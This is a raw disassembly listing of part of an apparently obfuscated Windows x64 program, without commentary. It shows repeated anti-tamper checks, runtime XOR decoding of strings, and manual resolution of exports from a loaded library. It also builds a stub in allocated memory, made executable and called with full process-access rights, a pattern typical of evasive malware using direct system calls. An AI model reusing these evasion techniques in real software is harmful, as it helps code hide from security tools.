mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d69f
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d6bf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002d769
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d749
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d749
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d769
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002d826
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d806
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d806
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d826
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
call fcn.1400978d0
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.140039b80
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002d8f0
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d8d0
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d8d0
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d8f0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
mov r8d, 0x3450d54d
mov r9d, 0x59d65afc
cmp rax, r15
jne 0x14002d9b5
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, r9d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002d995
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002d995
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002d9b5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002da6e
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002da4e
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002da4e
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002da6e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002db18
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002daf8
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002daf8
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002db18
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002dbd1
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dbb1
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dbb1
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dbd1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov qword [rbp + 0xe58], r14
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002dc82
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dc62
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dc62
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dc82
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002dd3b
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dd1b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dd1b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002dd3b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.140039118
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002de0d
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002dded
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002dded
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002de0d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov edi, r14d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x14002e10a
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002ded6
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x13d4ec0d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e1c2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e1c2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002e1c2
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.140028e5c
mov r15d, eax
mov rcx, qword gs:[0x3c]
mov eax, 0xc781a205
movabs r8, 0xfd0e4b779cf2199c
cmp rcx, rax
jne 0x14002df91
mov rcx, qword gs:[0x45]
xor rcx, r8
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[0x45]
xor rcx, r8
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[0x45]
xor rcx, r8
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x14002e1e2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x14002e1e2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x14002e1e2
test r15d, r15d
jne 0x14002e242
mov rax, qword gs:[0x3c]
mov r15d, 0xc781a205
cmp rax, r15
jne 0x14002e036
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x14002e202
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x14002e202
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x14002e202
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14002e0ea
mov rax, qword gs:[0x45]
xor rax, r8
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[0x45]
xor rax, r8
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[0x45]
xor rax, r8
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x14002e222
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x14002e222
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x14002e222
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x14002de2b
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x140037f6d
mov rax, qword gs:[0x45]
movabs rcx, 0xfd0e4b779cf2199c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e1a2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e1a2
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140037f6d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.14009e898
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], Ordinal_50
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0xf1233669
mov dword [rbp + 0x214], 0x6009af30
mov dword [rbp + 0x218], 0xa65e65e5
mov word [rbp + 0x21c], recv
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x12157fd01
movabs r9, 0xeb177d91a
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x1d62efb234
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r13
add r10, 0xd
cmp r9, r11
jb 0x14002e2e5
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0xdb122423
mov dword [rbp + 0x84], 0xb443b96f
mov word [rbp + 0x88], Ordinal_45
mov r8, r14
movabs r9, 0xa2c17e512
mov r10d, 9
movabs r11, 0x14582fca24
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x80]
xor dil, r8b
mov byte [rbp + r8 + 0x80], dil
inc r8
add r9, r13
add r10, 9
cmp r9, r11
jb 0x14002e383
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002e614
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002e614
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002e614
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002e614
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002e614
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002e486
inc rax
test edi, edi
jne 0x14002e471
test r8d, r8d
je 0x14002e498
inc rdx
cmp rdx, rsi
jb 0x14002e460
jmp 0x14002e614
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002e614
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14002e611
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400978d0
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.140039b80
lea rcx, [rbp + 0x7420]
call fcn.140039118
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.140039118
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14002e526
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400c1350
mov dword [0x1400f59c4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400f59c0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f59c8]
mov word [rdi + 8], ax
mov al, byte [0x1400f59ca]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400c19f0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400f59c4], r14d
test edi, edi
js 0x14002e627
jmp 0x14002e614
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14002e63d
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.140028924
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x3c]
ja 0x140037bdb
mov esi, 0xc781a205
mov r15d, 0x13d4ec0d
cmp rax, rsi
jne 0x14002e713
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e6f3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e6f3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e713
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
movdqa xmm0, xmmword [0x1400e5dd0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400e5de0]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x990f1c91
mov word [rbp + 0xbc4], 0x109a
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs rsi, 0x12157fd01
movabs r9, 0x2af30f8e4c
lea r10d, [rax + 0x26]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xba0]
xor dil, r8b
mov byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r13
add r10, 0x26
movabs rax, 0x55e61f1c98
cmp r9, rax
jb 0x14002e773
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.14000657c
mov rax, qword gs:[0x3c]
mov esi, 0xc781a205
mov ebx, 0x79aa73bc
cmp rax, rsi
jne 0x14002e8a9
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e889
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e889
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e8a9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009e898
int3
call fcn.140028b84
mov rcx, qword gs:[0x3c]
test al, al
jne 0x14002ec4d
cmp rcx, rsi
jne 0x14002e973
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002e953
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002e953
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002e973
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
movdqa xmm0, xmmword [0x1400e5e00]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], 0xfe
mov r10, r14
movabs r8, 0x1336d7cd22
mov r11, r12
movabs rsi, 0x12157fd01
movabs r9, 0x266daf9a44
movabs r15, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x14002e9ba
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400e5e80]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400e5d30]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov esi, 0xc781a205
movabs rbx, 0x12157fd01
mov r9d, Ordinal_33
movabs r10, 0x2309a7a33e
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r13
add r9, 0x1f
movabs rax, 0x46134f467c
cmp r10, rax
jb 0x14002ea5f
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x3c]
cmp rax, rsi
mov ebx, 0x79aa73bc
jne 0x14002eb9f
mov rax, qword gs:[0x45]
movabs rcx, 0xfd0e4b779cf2199c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002eb7f
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002eb7f
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002eb9f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14003856b
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ec2d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ec2d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003856b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
cmp rcx, rsi
jne 0x14002ecee
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ecce
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ecce
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ecee
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
movdqa xmm0, xmmword [0x1400e6070]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x12157fd01
movabs r9, 0x12157fd020
lea r10d, [rax + 0x10]
movabs r11, 0x242affa040
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
